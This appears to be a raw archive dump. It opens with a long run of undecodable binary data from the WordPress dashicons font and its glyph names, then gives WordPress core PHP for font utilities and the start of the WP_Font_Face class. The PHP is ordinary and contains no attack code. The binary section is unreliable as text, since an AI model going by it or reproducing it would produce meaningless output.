357''375#!#77'W$H.�.�H$H.���H$H.�f�.H$H�$H.�.$H$H.��H$H.��.H$H��+4=.+"76767627>'&##5#53533"&4627"&462�(�('&��



1

s+85W
			W58.&


*




�� #3'.'&>727.#"32>5'&�pA(2E9",#;H&7^88^7:Z1&L(1E2";$87_n_73[:��!2#!"&5465#!5#5#!5#3�

�f
��f�3�f��
�f

�
̙���͙�����!-;J2>."2>."2>."76&"26'"&/&63272"'76'&'6�""n	
�
	 1j2 ' �
"*-

�-*"
�**#)$$$$��n/88/n
�&6a](//(]`7&��'7&'"/&47%&'6�$Y$v�;Vi?^$W$!�x�% "��#5#3533@�@@�@�������M��%6767>'&".#&=1,%:11:%3,1J+)1/U..V_)+��&<@&"&#764&'677&6762&'+6267>7.26�
>**I{",+	E��"1/Im



� !i<?q$

rf*<�>J?
(+	H	�!.BK8	
;  39;3	f<��)%#&'&'67673264&#!";#"3!264&�
0.
��
0.
f6 ''!56 ''!5��#)/575##5335335#53#353373#5##'#3#533'77'7f333$_!3#&�L3�;;YY.;;YYf44�33�gg�WW�P@@P�f:;ZY�;:YZ	��#<@DHL%!!>?6.#"275#5#'"276?54.#5#5#5!5!�f��

р��W#


�MMMM��4��3��
	
	
C3/  4L4��8<@D%!!>?6.#"25#'"276?54.#5#5#5!�f���

	��#
瀀����f4t
	


	ff  533�%##5#5#535337'#35�fM�ffM�MMfgf�Mff�MffLM��gf��4&"26>.>.f<T<<T<��%+QJ*R�%Q+JR*j*<<U<<PRJ*RI�JR*IR�##5#353#%'��4��4
@fff���MMfMM��f��
ZZZZ��#!5#535!%3'!!#M��MMf��Z���fY�Z4��4��3f�@f#47635"#%#!35#33'!!�2'<E.C�����͚MM���#6G9W�����3�M�#7#4&#2%!3!5#3535!5�2RC-F;'����3ML�WW9G6C��3�M�暚�� 2#"&'732>4.#"5>@529925@<h BA%)G**G)%A.�0!c� ii 7/'#*GQG*"&4�)+1�� )375#!33!5"34&5#734&"5#%264&"5"'.'&#f3343�̀g��f*�*H*"@!+�MMM�M3̀�M���++f3'���!'!##!3535!7"&4625!5#7!5!5#�f33��33M���*��M�������433���g**���晀����!!54&+"#5!##5#5��w
�f�3������gV33�f33f44��&735#7"264&'"2>4.".4>2�44

?j==j~j==j?1R00RbR00R��ff=j~j==j~j=�g0RbR00RbR0��2".4>4&"265#8^77^p^77^R4�7^p^77^p^7gܚ���%)73535#5##32>4."2".4>!5!�4334331R00RbR00R1#;"";F;"";�f���33333�0RcR00RcR04";G:"":G;"��3��%)##33535#'"2>4.".4>2!54334331R00RbR00R1#;"";F;"";�f333333�0RcR00RcR0��";G:"":G;"�33��%"2>4.".4>2##33535#?j==j~j==j?1R00RbR00R4LL4LL�=j~j==j~j=�g0RbR00RbR0L4LL4��G_4&"267"&4627"&462'"#"#;276767676=4'.'&'&#+"'.=4676;2E(:((:($=X==X=�%"	#%%#	#%�!"6�3%*.�3%((:((,==X==B1
"% %"	#$%#�T3%!!-�-!!-�� !2#!"&546!!'#5!3!26Mf��Y��4M�f�4���3ͳf���3#3#73#3#!!3������gg�����������f�g�g?7M�4���g��ge�� 22+"&=4&/&'&54>53++"&5#"&'B'
	f		'B&�3
�&B''B&�j


��"73#7"264&5#3547>354'&'&@MM&'�LL*M!<3~&&�+����1	��%)26?C7!2654&#!"2"&46!!52"&46!!52"&46!!52"&46!!53�

�f
=W��4W��4W��4W��
�

�f
�33f33g33f33��%7>54&"72"&467'57M&5% <T}���n,��&&^  z"�443�4%���""676?67654.2"&46*F*""*F*$44H44�*F*$",,"$*F*B3I44I3��%-#54&"#"3!26=4&#7.54627#5462�<T<


p4

$f*L+<<+L
�

�
�9
{L��2".4>2>4."8^77^p^77^8#;"";F;"";�7^p^77^p^7��";F;"";F;"
��

%.!3'7'7'726'&/72"&463g���MMf...M...M...'3�g���gM
3

4

3
f	 =��'!3'54&#&+"276=7&3263g���MMm	M
�g���gM���WU;
��
!'7'37'3g�̀33MMfMM33�g�����34MLLM43��!3'3g���MM�g���gM
��#'!353'355!355#'355!5#3g���MM��f�f���f�����g���MM3MMMML4��#!3'5#3373/"&4627#5#53g���MM3�LMvMM��g���gM�癙4444L444M�� $(,048<@!5#5#35#35#5#35#35#5#35#35#5#35#35#5#35#3g�̴�MM�4�MfM�4�MfM�4�MfM�4�MfM�4�g���gMM33334��!353'355!5!5!5#3g���MM��f������g���MM3M333��!3'54&+";2653g���MM
M

M
L3�g���gM��LL�3��(;O#"++"&7'#'&'.76?>76#67654'&'.'6&'&'&7>��9M		�,&:
!!
 !

h2!��	9	�#3�43 	*(n�
	
��7!5!!5!!5Mf��f��f�4�444��7!5!5!5!5!�����3�33�4�5!5!5!����MM�MM�MM��7!5!5!5!5!Mf��f��f���3�33�4��/54&"26732+"&46;5.54622654623**gI73�

36J<T<��9U
55
U9

+<<+
��35#35#7355#f��͚4����f4��4�M��M�!!f4��4��9FS&'.46767627&'&#5##"'&'33567>4&'&'"2>4.".4>2


			&7_77_n_77_70Q00Q`Q00Q			
$$

	"'
�7_n_77_n_7��0Q`Q00Q`Q0�&;IR!#4&#"&#"!72>?6.#"54.#'"26?2"'654&'>462"&1"(

���		
p !e))9	
#x%%���"1�			
�

):)Y%��5#3'35#'735#7#35�ffLffLffffLffLffLffffLffLffffL��26?HP54&+";26'2"&4654&++"&=#"3!26'!54&"2674&"2627"&3
4

4
3�MDM4���M�&~&:N:�M

MX�������4
���U%32+"&=46;5#32+"&=46;5#32+"&=46;546;5#"&=46;2+32�f�f�f�f��LL33LL33LL33LL3''7'77[[$[Z%[[%Z[[[[$[[%ZZ%[[��''7'776[7Z[6[[6[[6Z7[[6[[6[[7��'#7!
3�'3M3f4����<E267632&"632.#"#476767&#"67632&'&#">4&"26�
*g!25!*�/,/RD#(, #L�  �
$1+&
)A
F@ZC=6)%25'	#� ��>&/.6?>"&4?64&"6?64&''&'&67676��?@~0
~~~

0�,		1�BB�BB?~0
�@,��",2:7#3264&#!+#532+5327#3##535!533#3264&���M�.i$$_3&&M��f��3�f�fff�f�4��*3<E7!654."7462"&462"&67671"&4462"&7462"&7462"&`@-7^p^7��tN&%%'- }��M8H7^88^7H�)L
(LN
 -��-9J27654'&#"#27654'&#"7"327654&4&#"3267"32623254.1	
P
	
��"#R9&&42+&9)'P55-A!!A-��
-8'&6?6767'&'776?67676''&76?>5	
M
gq	:`

/p

A
��
M
f

N
q.

BYq)	
A
�M
	��="6?4'&67632#&=674&1676?32>4.6(&'	!37# 	
	 '>"+I�E(5P!,+"
0"{'2,$
*FSC&��)-15!5!5#%&#"26757&#"26=4&5#5#����������(�
*	��gg�33f33g443u)Y)��33f33��"&5!5!5#732+"&=467'5#5#������gg���XUU�ggg�33f33g444�

��43M33f33����"676.5&'&'&7676.76&%2?3276?'\O.Oy=:6EN/A�
O.O��	a
�}O.Ou`02>EN3F�
O/R#
 b
���.>535#5##3�)QllQQllFggLgg�(llQQllQ��gLggLg��##5#5353��4��44��4����##5#5353��M��MMM��M����;%'&4632>54&"264.264/.>676&Ri


.B.i#"YXD"ii0BA!�i

 /.Ci
!CZY!iiBA0 \%4}��7C#"767>;'&+"#76;2#!26?6&+54&+"#"%#7676;2fR(	�Ttf7
��
+
R
aq
,=p:�
�di
<	#


��
�	
%
$��g�15.5462264&"f+!

!+<T<�f#7�	�7#+<<��%2#"'!3>264&"3276?z"11"		���."!!0!R	S�0E1���%'�"/""S	S��#'+/%#3#3'#37#5!#";!5326=4&#535#53#533����MMM�3�333Y����4�MM�gg������fM���
 8"3'656&'"35.'>75+"&=46;5>232
!
	E�bOObM�(6(
$$n
''
UMMT��TM�g'&&'��$+3!354>32632!35471"54&#1'354��f";##;"��3 -- M43��3#;"

";#33*#-S3 -#*3l"33"��
5##537353'#5#'735�gf�M3����M3�g�ffL3�3�338.3�L38.33��-6FO%4&"&#7264&#"'#""&"32>=>462"&'"'&762776'"&462�<<C	GB6
&
0RbR0���(%*#!"
�'a

n'%":"":"
G,��355#";#".4>̀���*==*��*F**F�MgfM<U<3)GSG)��"2>4.".4>2'35?j==j~j==j?1R00RbR00R���=j~j==j~j=�g0RbR00RbR0�44��5%"#4'723264&"&#5>54&"3267332656&�'l�%%5&�#,A,<*.x(.-��&5%%
�l' ,, 'x/+<- ,��
!%34'&'&#234.#2264&"~O87\`oZMK,-�OI}I'E7�  -  3m^\57M,,ILYH{GM6E%,  ,�y'7��H$l�x�H$k���!!537535353!533533��fg3f3g�f�g�g�g�ff333M�����ggMM��5#!5#5#!5#�f�4�f�����͙����� ).'&/&'&'.>64&"27#
		
	([!6HI	5J44J�$c)
	%
!IH6�K44K4��$-R&'.'&#537>764&"26&>7>75673#'.�		vD
 "''" U&4&&4&�		


vD
 !''! l		

L{&&4&&R	
L��
5>75!57!3#̀:$0%[S�3���F+N3fL
,ENN��3)�'��"%2"&547'"&4627&5462"'6s --@-pB--Ap-@--Aqq�-@-- 		;-@-;		 --@-;		;��!3'&'&'&'&'&'&'&52767$#.!6

@@ �
~\C+	
!%).3

��!83'&'&'&'&'&'&'&5276737676765'&'&'#$#.!6

@@ �#'(�	�
~\C+	
!%).3

�#	

�#$
��7#535#33#3#3�44gg6^6R44g��4��f4�44�g75!%53735;#'5#5#���34�433M������������gM33��32+"&546#73�����ff���f�����{,2'&#"1&54632'&#"1&546267'"&'��
7Gu"bxb"u{��SD8FF8DS�M!3!'��L�M����#*14."2>%'>&'7"&4627.'67�7^p^77^p^7��&`1`&1�*�`&1�&`18^77^p^77^�`&1P&`1�**&`1?`&1��0B"2>4.'."'46767"#3'.&'&76'&'&.6767_77_n_77_()^,2g/
.j5

:y40HC3
;IS6�7_n_77_n_7��
	/	
5!��	7'7/'7'7M�i��i�M<wQxxQw�w�LL�w`x[�<<�[��	'7'7M�i��i��w�LL�w��	7'7/'M�i��i�M<wQx�w�LL�w`x[�<g�!57#"'&'&=#5>=4&��WX�AB'
&BB		BB&
' D276527652765276='!35335&'&'&5"&'&5"&'&5....M��fM�f�
//
       �� ����	
	
	


��!7'7'?��M�͡,,$11$�M��d1$+.!��73%#?'73>'5'���3��J@�d�&�H>�(25S,����.�,MMNAv.�$Mg9M
%535#5##3!#3#3#3!!h^^,__����������H��'�].]].]��5�b!b!bh��
#33535#5!!!#3#3#3�^^,__���'��������].]].]���5���hb!b!b
#/75'7'!%#5'#5'#3753753''7'77�!!�  ���������PT'SP(PR'RP !! F!��5B..h<;;+��PS'SQ'PR(RP
%#5##3353!#37#37#3!!bJ$JJ$J�������������5�JJ"JJ��5�bbbbb�
33535#5##!%35#35#!!#3�J$JJ$J���������5˄�[JJ"JJ���5Bbbb�b
#%'7''7!'#'35#735!3#3#!�PQ'RP'RT'TP�` !-. �5� ��!���PR'RQ&RT'TQ~�5�!b!bb!b!b��!2#!"&546!3f4

��
$������f��4�����
3'%264&"���L+ͳ��f++
��#'!5!#5#5!!5#5!#5#5!#53#53#5�̳�������f�g�3�f�ffff�MMMMf3333M��!2+5#"&=46!!!!#3f4��/����4M�������334��!#537#535#535#53Mf���3�������4��333��!5!5!#5#5!#5!5�f��g����f���33f3333g3333f33��"7"'1.?64&+"&5471676;#%#53�	M3�6N333
F�		�t
����!21;2+53>7>3#F	M�6N��33�
FVT		�t
���"4Q_5&%7>&'776&/&326'/.?>323!5264&#53;26=546;+"&&�~'#�#�
��#�#
�
�fI


�
����]I''H�H('I��`F`
F�FaF`��
ML*Nf

-fH1��<BJQiy���1&%7>&'76.6'#&176/&726/>67.76?'"'&'3!5264&#53265'3'72&#647.77?7#"&�~'�%OM%OM3"

'
.`
q6%*
U5�fm<U<�%
",k,
.
vvH(&I�G(&I�(M$PM$�
i	*2i	?�3`C	. NRYLK+N''+<<+@
(<d:x-?!8*Q]QO��7!55%!6767Mf^U\��fMMf�k�6J6�7M3����*KR#"'#373#"&=46;2#732+"&=465#5##3#2673&?"&'>7&'3'I=+H��s4s���RQ 
#/0	#
?6M
E�3f�fK2���77#		

$1��32!546;>23."!+"&'3M��
M%.%bMk
�	�X��	
��	337375#5#5!#3'#3ER..K�#@g8O.@$$g$$�C��))���;33�Cddd��%#"=3264&+54&"3265.d��!!�!-:� !�
M-6�6 !!��0#"'327.'327.=.47&54632676� :@RNB
A30		
!*
#e:7'$
 �@<@%**($4"
)2,4
'7"��#5532+32>4.3����*==*��*F**F�MgfM<U<3)GSG)��<4."2>'2"&46476?'&'1'&7671'&'&�>i~i>>i~i>� �,2,,2,"

%
	"?i>>i~i>>i�  y	7>'8D"#$(#j54	��/2"&46476?'&'1'&7671'&'& �,2,,2,"

%
	"�  y	7>'8D"#$(#j54	��+54&"#46232#!"&=463'>54&"3*3<T<��

 

L+<<+L���77��#>327.#"#?3#"&'32>73�>(.+F(,L25YZ�Z;
<(.+F(,L25&33(F+gg3g'21 (F+��#23'3.#"'>".'#7#3267-L26ZZ<	>(0+F,M26ZZ<	>(0+F�(G+ff'22 ��(G+ff'22 ��75#7#5#!5#�M��M�444�����4��͚��+4A%4&#!"3!26'!!!2#3#3#!"&5464&"26'"&5467���f��f�����<U<<U<g+Mf��f L4L �*<<T<<w�� 4&+";267'54&+";26��

��gg�

��uf�g3����%54&+";2673�������Uss��%4&#!"3!26%5���M�癀�/�f��5.6767>7'&'62"&4"&'672>=4&'�)�EG:+")@>�:)
�	;i!/I/90
I/!i
:9*!6:( @	�92B'1/$B29��2".4>7#64&"28^77^p^77^U	L	8	$#�7^p^77^p^7�V	��5#5##!5357##5#5353�3M�433MM3���333333��!2+5#"&=46'7''7�3�M�@@@@@@@@������@@@@@@@@� '#'%%"264&7&#".#"67�3&��
1QQ1

L��$gg�9&.0''0.&��#+%4&#!"3!26'2"&'>4&"263!5353���f�+O  OVO  O^**3M��M̚

��($%((%$(L+�
��(,09=AJN%4&#!"3!26!!7353353352"&46;#73#'2"&46;#7352"&46;#�
���
��M��MMM��,ff����,ff�M��,fffM��
>gM333333��M

333��!!7627'�$n��.��$��$n��.�%�6��@.7327>&#'&'&'&'476;2767>�am_2L45<2/1S?*
	)
n/1:am/Mam�>'!

����AMSY4."2>'7>&##'>32&1'2?>&#"'1&305676'.547#"'Ev�vEEu�vE��We;,P
			N	&!�=4�:F�B"#EvEEv�uEEvD�
/8 
'7�W'2;?jpC2*��	MW]c4."2>2".4>'726&#+>32&1'2?26&#"/"3?676'%.54#"'Eu�uEEu�uE�?i>>i~i>>iN
Z5'H

	EpC7��a3?�; FuEEu�uEEu,>i~i>>i~i>���
*2	

#1�N��
,n_��d<.O���%&+"3;2?6'&+";26/�;)@:@�:@AT	;Rq
En
p�
rs����"2>4.#'778^77^p^77^H"S"B�"�7^p^77^p^7��t >���#'7|"�"S"B��t =��&'&'&"727676545�5-$QP5-$QP��x=v=9?;��M�				"	-
+6a	t	�	�	�	�	�	
V�	&6dashiconsRegulardashiconsdashiconsVersion 1.0dashiconsGenerated by svg2ttf from Fontello project.http://fontello.comdashiconsRegulardashiconsdashiconsVersion 1.0dashiconsGenerated by svg2ttf from Fontello project.http://fontello.comT	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUadmin-appearanceadmin-collapseadmin-commentsadmin-customizer
admin-generic
admin-homeadmin-linksadmin-mediaadmin-multisite
admin-network
admin-page
admin-plugins
admin-postadmin-settingsadmin-site-altadmin-site-alt2admin-site-alt3
admin-siteadmin-toolsadmin-usersairplanealbumalign-centeralign-full-width
align-left
align-nonealign-pull-leftalign-pull-rightalign-right
align-wideamazon	analyticsarchivearrow-down-altarrow-down-alt2
arrow-downarrow-left-altarrow-left-alt2
arrow-leftarrow-right-altarrow-right-alt2arrow-rightarrow-up-alt
arrow-up-alt2arrow-up-duplicatearrow-upartawardsbackupbankbeerbell
block-defaultbook-altbookbuddicons-activitybuddicons-bbpress-logobuddicons-buddypress-logobuddicons-communitybuddicons-forumsbuddicons-friendsbuddicons-groupsbuddicons-pmbuddicons-repliesbuddicons-topicsbuddicons-trackingbuildingbusinessmanbusinessperson
businesswomanbutton
calculatorcalendar-altcalendar
camera-altcameracarcarrotcartcategory
chart-area	chart-bar
chart-line	chart-pie	clipboardclockcloud-savedcloud-uploadcloudcode-standardscoffeecolor-pickercolumns
controls-backcontrols-forwardcontrols-pause
controls-playcontrols-repeatcontrols-skipbackcontrols-skipforwardcontrols-volumeoffcontrols-volumeoncover-image	dashboarddatabase-adddatabase-exportdatabase-importdatabase-remove
database-viewdatabasedesktopdismissdownload	drumstick
edit-large	edit-pageediteditor-aligncentereditor-alignlefteditor-alignrighteditor-boldeditor-breakeditor-code-duplicateeditor-contracteditor-customchar
editor-expandeditor-help
editor-indenteditor-insertmore
editor-italiceditor-justifyeditor-kitchensink
editor-ltr
editor-ol-rtl	editor-oleditor-outdenteditor-paragrapheditor-paste-texteditor-paste-wordeditor-quoteeditor-removeformatting
editor-rtleditor-spellcheckeditor-strikethrougheditor-tableeditor-textcolor	editor-uleditor-underline
editor-unlinkeditor-videoellipsis	email-alt
email-alt2emailembed-audio
embed-genericembed-photo
embed-postembed-videoexcerpt-viewexitexternalfacebook-altfacebookfeedbackfilterflagfoodformat-asideformat-audioformat-chatformat-galleryformat-imageformat-quote
format-statusformat-videoformsfullscreen-altfullscreen-exit-altgamesgoogle	grid-viewgroupshammerheadinghearthidden	hourglasshtmlid-altid
image-cropimage-filterimage-flip-horizontalimage-flip-verticalimage-rotate-leftimage-rotate-rightimage-rotate
images-altimages-alt2
index-cardinfo-outlineinfoinsert-after
insert-beforeinsert	instagramlaptoplayout	leftright	lightbulblinkedin	list-viewlocation-altlocationlock-duplicatemarker
media-archivemedia-audio
media-code
media-defaultmedia-documentmedia-interactivemedia-spreadsheet
media-textmedia-video	megaphonemenu-alt	menu-alt2	menu-alt3menu
microphonemigrateminus	money-altmoneymovenametag
networkingno-altnoopen-folderpalmtree	paperclippdfperformancepetsphone	pinterestplaylist-audioplaylist-videoplugins-checkedplus-alt	plus-alt2pluspodio	portfoliopost-status	pressthisprinterprivacyproducts	randomizeredditredoremoverest-apirsssavedschedule
screenoptionssearch	share-alt
share-alt2share
shield-altshield	shortcodeslides
smartphonesmileysortsosspotify
star-emptystar-filled	star-halfstickystore
superhero-alt	superherotable-col-aftertable-col-beforetable-col-deletetable-row-aftertable-row-beforetable-row-deletetablettagtagcloudtestimonial	text-pagetextthumbs-down	thumbs-uptickets-altticketstidetranslationtrashtwitchtwitter-alttwitterundouniversal-access-altuniversal-accessunlock
update-altupdateuploadvault	video-alt
video-alt2
video-alt3
visibilitywarningwelcome-add-pagewelcome-commentswelcome-learn-morewelcome-view-sitewelcome-widgets-menuswelcome-write-blogwhatsapp
wordpress-alt	wordpressxingyes-altyesyoutubeclass-wp-font-utils.php000064400000021270151024203310011101 0ustar00<?php
/**
 * Font Utils class.
 *
 * Provides utility functions for working with font families.
 *
 * @package    WordPress
 * @subpackage Fonts
 * @since      6.5.0
 */

/**
 * A class of utilities for working with the Font Library.
 *
 * These utilities may change or be removed in the future and are intended for internal use only.
 *
 * @since 6.5.0
 * @access private
 */
class WP_Font_Utils {
	/**
	 * Adds surrounding quotes to font family names that contain special characters.
	 *
	 * It follows the recommendations from the CSS Fonts Module Level 4.
	 * @link https://www.w3.org/TR/css-fonts-4/#font-family-prop
	 *
	 * @since 6.5.0
	 *
	 * @param string $item A font family name.
	 * @return string The font family name with surrounding quotes, if necessary.
	 */
	private static function maybe_add_quotes( $item ) {
		// Matches strings that are not exclusively alphabetic characters or hyphens, and do not exactly follow the pattern generic(alphabetic characters or hyphens).
		$regex = '/^(?!generic\([a-zA-Z\-]+\)$)(?!^[a-zA-Z\-]+$).+/';
		$item  = trim( $item );
		if ( preg_match( $regex, $item ) ) {
			$item = trim( $item, "\"'" );
			return '"' . $item . '"';
		}
		return $item;
	}

	/**
	 * Sanitizes and formats font family names.
	 *
	 * - Applies `sanitize_text_field`.
	 * - Adds surrounding quotes to names containing any characters that are not alphabetic or dashes.
	 *
	 * It follows the recommendations from the CSS Fonts Module Level 4.
	 * @link https://www.w3.org/TR/css-fonts-4/#font-family-prop
	 *
	 * @since 6.5.0
	 * @access private
	 *
	 * @see sanitize_text_field()
	 *
	 * @param string $font_family Font family name(s), comma-separated.
	 * @return string Sanitized and formatted font family name(s).
	 */
	public static function sanitize_font_family( $font_family ) {
		if ( ! $font_family ) {
			return '';
		}

		$output          = sanitize_text_field( $font_family );
		$formatted_items = array();
		if ( str_contains( $output, ',' ) ) {
			$items = explode( ',', $output );
			foreach ( $items as $item ) {
				$formatted_item = self::maybe_add_quotes( $item );
				if ( ! empty( $formatted_item ) ) {
					$formatted_items[] = $formatted_item;
				}
			}
			return implode( ', ', $formatted_items );
		}
		return self::maybe_add_quotes( $output );
	}

	/**
	 * Generates a slug from font face properties, e.g. `open sans;normal;400;100%;U+0-10FFFF`
	 *
	 * Used for comparison with other font faces in the same family, to prevent duplicates
	 * that would both match according the CSS font matching spec. Uses only simple case-insensitive
	 * matching for fontFamily and unicodeRange, so does not handle overlapping font-family lists or
	 * unicode ranges.
	 *
	 * @since 6.5.0
	 * @access private
	 *
	 * @link https://drafts.csswg.org/css-fonts/#font-style-matching
	 *
	 * @param array $settings {
	 *     Font face settings.
	 *
	 *     @type string $fontFamily   Font family name.
	 *     @type string $fontStyle    Optional font style, defaults to 'normal'.
	 *     @type string $fontWeight   Optional font weight, defaults to 400.
	 *     @type string $fontStretch  Optional font stretch, defaults to '100%'.
	 *     @type string $unicodeRange Optional unicode range, defaults to 'U+0-10FFFF'.
	 * }
	 * @return string Font face slug.
	 */
	public static function get_font_face_slug( $settings ) {
		$defaults = array(
			'fontFamily'   => '',
			'fontStyle'    => 'normal',
			'fontWeight'   => '400',
			'fontStretch'  => '100%',
			'unicodeRange' => 'U+0-10FFFF',
		);
		$settings = wp_parse_args( $settings, $defaults );
		if ( function_exists( 'mb_strtolower' ) ) {
			$font_family = mb_strtolower( $settings['fontFamily'] );
		} else {
			$font_family = strtolower( $settings['fontFamily'] );
		}
		$font_style    = strtolower( $settings['fontStyle'] );
		$font_weight   = strtolower( $settings['fontWeight'] );
		$font_stretch  = strtolower( $settings['fontStretch'] );
		$unicode_range = strtoupper( $settings['unicodeRange'] );

		// Convert weight keywords to numeric strings.
		$font_weight = str_replace( array( 'normal', 'bold' ), array( '400', '700' ), $font_weight );

		// Convert stretch keywords to numeric strings.
		$font_stretch_map = array(
			'ultra-condensed' => '50%',
			'extra-condensed' => '62.5%',
			'condensed'       => '75%',
			'semi-condensed'  => '87.5%',
			'normal'          => '100%',
			'semi-expanded'   => '112.5%',
			'expanded'        => '125%',
			'extra-expanded'  => '150%',
			'ultra-expanded'  => '200%',
		);
		$font_stretch     = str_replace( array_keys( $font_stretch_map ), array_values( $font_stretch_map ), $font_stretch );

		$slug_elements = array( $font_family, $font_style, $font_weight, $font_stretch, $unicode_range );

		$slug_elements = array_map(
			function ( $elem ) {
				// Remove quotes to normalize font-family names, and ';' to use as a separator.
				$elem = trim( str_replace( array( '"', "'", ';' ), '', $elem ) );

				// Normalize comma separated lists by removing whitespace in between items,
				// but keep whitespace within items (e.g. "Open Sans" and "OpenSans" are different fonts).
				// CSS spec for whitespace includes: U+000A LINE FEED, U+0009 CHARACTER TABULATION, or U+0020 SPACE,
				// which by default are all matched by \s in PHP.
				return preg_replace( '/,\s+/', ',', $elem );
			},
			$slug_elements
		);

		return sanitize_text_field( implode( ';', $slug_elements ) );
	}

	/**
	 * Sanitizes a tree of data using a schema.
	 *
	 * The schema structure should mirror the data tree. Each value provided in the
	 * schema should be a callable that will be applied to sanitize the corresponding
	 * value in the data tree. Keys that are in the data tree, but not present in the
	 * schema, will be removed in the sanitized data. Nested arrays are traversed recursively.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 *
	 * @param array $tree   The data to sanitize.
	 * @param array $schema The schema used for sanitization.
	 * @return array The sanitized data.
	 */
	public static function sanitize_from_schema( $tree, $schema ) {
		if ( ! is_array( $tree ) || ! is_array( $schema ) ) {
			return array();
		}

		foreach ( $tree as $key => $value ) {
			// Remove keys not in the schema or with null/empty values.
			if ( ! array_key_exists( $key, $schema ) ) {
				unset( $tree[ $key ] );
				continue;
			}

			$is_value_array  = is_array( $value );
			$is_schema_array = is_array( $schema[ $key ] ) && ! is_callable( $schema[ $key ] );

			if ( $is_value_array && $is_schema_array ) {
				if ( wp_is_numeric_array( $value ) ) {
					// If indexed, process each item in the array.
					foreach ( $value as $item_key => $item_value ) {
						$tree[ $key ][ $item_key ] = isset( $schema[ $key ][0] ) && is_array( $schema[ $key ][0] )
							? self::sanitize_from_schema( $item_value, $schema[ $key ][0] )
							: self::apply_sanitizer( $item_value, $schema[ $key ][0] );
					}
				} else {
					// If it is an associative or indexed array, process as a single object.
					$tree[ $key ] = self::sanitize_from_schema( $value, $schema[ $key ] );
				}
			} elseif ( ! $is_value_array && $is_schema_array ) {
				// If the value is not an array but the schema is, remove the key.
				unset( $tree[ $key ] );
			} elseif ( ! $is_schema_array ) {
				// If the schema is not an array, apply the sanitizer to the value.
				$tree[ $key ] = self::apply_sanitizer( $value, $schema[ $key ] );
			}

			// Remove keys with null/empty values.
			if ( empty( $tree[ $key ] ) ) {
				unset( $tree[ $key ] );
			}
		}

		return $tree;
	}

	/**
	 * Applies a sanitizer function to a value.
	 *
	 * @since 6.5.0
	 *
	 * @param mixed    $value     The value to sanitize.
	 * @param callable $sanitizer The sanitizer function to apply.
	 * @return mixed The sanitized value.
	 */
	private static function apply_sanitizer( $value, $sanitizer ) {
		if ( null === $sanitizer ) {
			return $value;

		}
		return call_user_func( $sanitizer, $value );
	}

	/**
	 * Returns the expected mime-type values for font files, depending on PHP version.
	 *
	 * This is needed because font mime types vary by PHP version, so checking the PHP version
	 * is necessary until a list of valid mime-types for each file extension can be provided to
	 * the 'upload_mimes' filter.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 *
	 * @return string[] A collection of mime types keyed by file extension.
	 */
	public static function get_allowed_font_mime_types() {
		$php_7_ttf_mime_type = PHP_VERSION_ID >= 70300 ? 'application/font-sfnt' : 'application/x-font-ttf';

		return array(
			'otf'   => 'application/vnd.ms-opentype',
			'ttf'   => PHP_VERSION_ID >= 70400 ? 'font/sfnt' : $php_7_ttf_mime_type,
			'woff'  => PHP_VERSION_ID >= 80112 ? 'font/woff' : 'application/font-woff',
			'woff2' => PHP_VERSION_ID >= 80112 ? 'font/woff2' : 'application/font-woff2',
		);
	}
}
class-wp-font-face.php000064400000024016151024203310010640 0ustar00<?php
/**
 * WP_Font_Face class.
 *
 * @package    WordPress
 * @subpackage Fonts
 * @since      6.4.0
 */

/**
 * Font Face generates and prints `@font-face` styles for given fonts.
 *
 * @since 6.4.0
 */
class WP_Font_Face {

	/**
	 * The font-face property defaults.
	 *
	 * @since 6.4.0
	 *
	 * @var string[]
	 */
	private $font_face_property_defaults = array(
		'font-family'  => '',
		'font-style'   => 'normal',
		'font-weight'  => '400',
		'font-display' => 'fallback',
	);

	/**
	 * Valid font-face property names.
	 *
	 * @since 6.4.0
	 *
	 * @var string[]
	 */
	private $valid_font_face_properties = array(
		'ascent-override',
		'descent-override',
		'font-display',
		'font-family',
		'font-stretch',
		'font-style',
		'font-weight',
		'font-variant',
		'font-feature-settings',
		'font-variation-settings',
		'line-gap-override',
		'size-adjust',
		'src',
		'unicode-range',
	);

	/**
	 * Valid font-display values.
	 *
	 * @since 6.4.0
	 *
	 * @var string[]
	 */
	private $valid_font_display = array( 'auto', 'block', 'fallback', 'swap', 'optional' );

	/**
	 * Array of font-face style tag's attribute(s)
	 * where the key is the attribute name and the
	 * value is its value.
	 *
	 * @since 6.4.0
	 *
	 * @var string[]
	 */
	private $style_tag_attrs = array();

	/**
	 * Creates and initializes an instance of WP_Font_Face.
	 *
	 * @since 6.4.0
	 */
	public function __construct() {
		if (
			function_exists( 'is_admin' ) && ! is_admin()
			&&
			function_exists( 'current_theme_supports' ) && ! current_theme_supports( 'html5', 'style' )
		) {
			$this->style_tag_attrs = array( 'type' => 'text/css' );
		}
	}

	/**
	 * Generates and prints the `@font-face` styles for the given fonts.
	 *
	 * @since 6.4.0
	 *
	 * @param array[][] $fonts Optional. The font-families and their font variations.
	 *                         See {@see wp_print_font_faces()} for the supported fields.
	 *                         Default empty array.
	 */
	public function generate_and_print( array $fonts ) {
		$fonts = $this->validate_fonts( $fonts );

		// Bail out if there are no fonts are given to process.
		if ( empty( $fonts ) ) {
			return;
		}

		$css = $this->get_css( $fonts );

		/*
		 * The font-face CSS is contained within <style> tags and can only be interpreted
		 * as CSS in the browser. Using wp_strip_all_tags() is sufficient escaping
		 * to avoid malicious attempts to close </style> and open a <script>.
		 */
		$css = wp_strip_all_tags( $css );

		// Bail out if there is no CSS to print.
		if ( empty( $css ) ) {
			return;
		}

		printf( $this->get_style_element(), $css );
	}

	/**
	 * Validates each of the font-face properties.
	 *
	 * @since 6.4.0
	 *
	 * @param array $fonts The fonts to valid.
	 * @return array Prepared font-faces organized by provider and font-family.
	 */
	private function validate_fonts( array $fonts ) {
		$validated_fonts = array();

		foreach ( $fonts as $font_faces ) {
			foreach ( $font_faces as $font_face ) {
				$font_face = $this->validate_font_face_declarations( $font_face );
				// Skip if failed validation.
				if ( false === $font_face ) {
					continue;
				}

				$validated_fonts[] = $font_face;
			}
		}

		return $validated_fonts;
	}

	/**
	 * Validates each font-face declaration (property and value pairing).
	 *
	 * @since 6.4.0
	 *
	 * @param array $font_face Font face property and value pairings to validate.
	 * @return array|false Validated font-face on success, or false on failure.
	 */
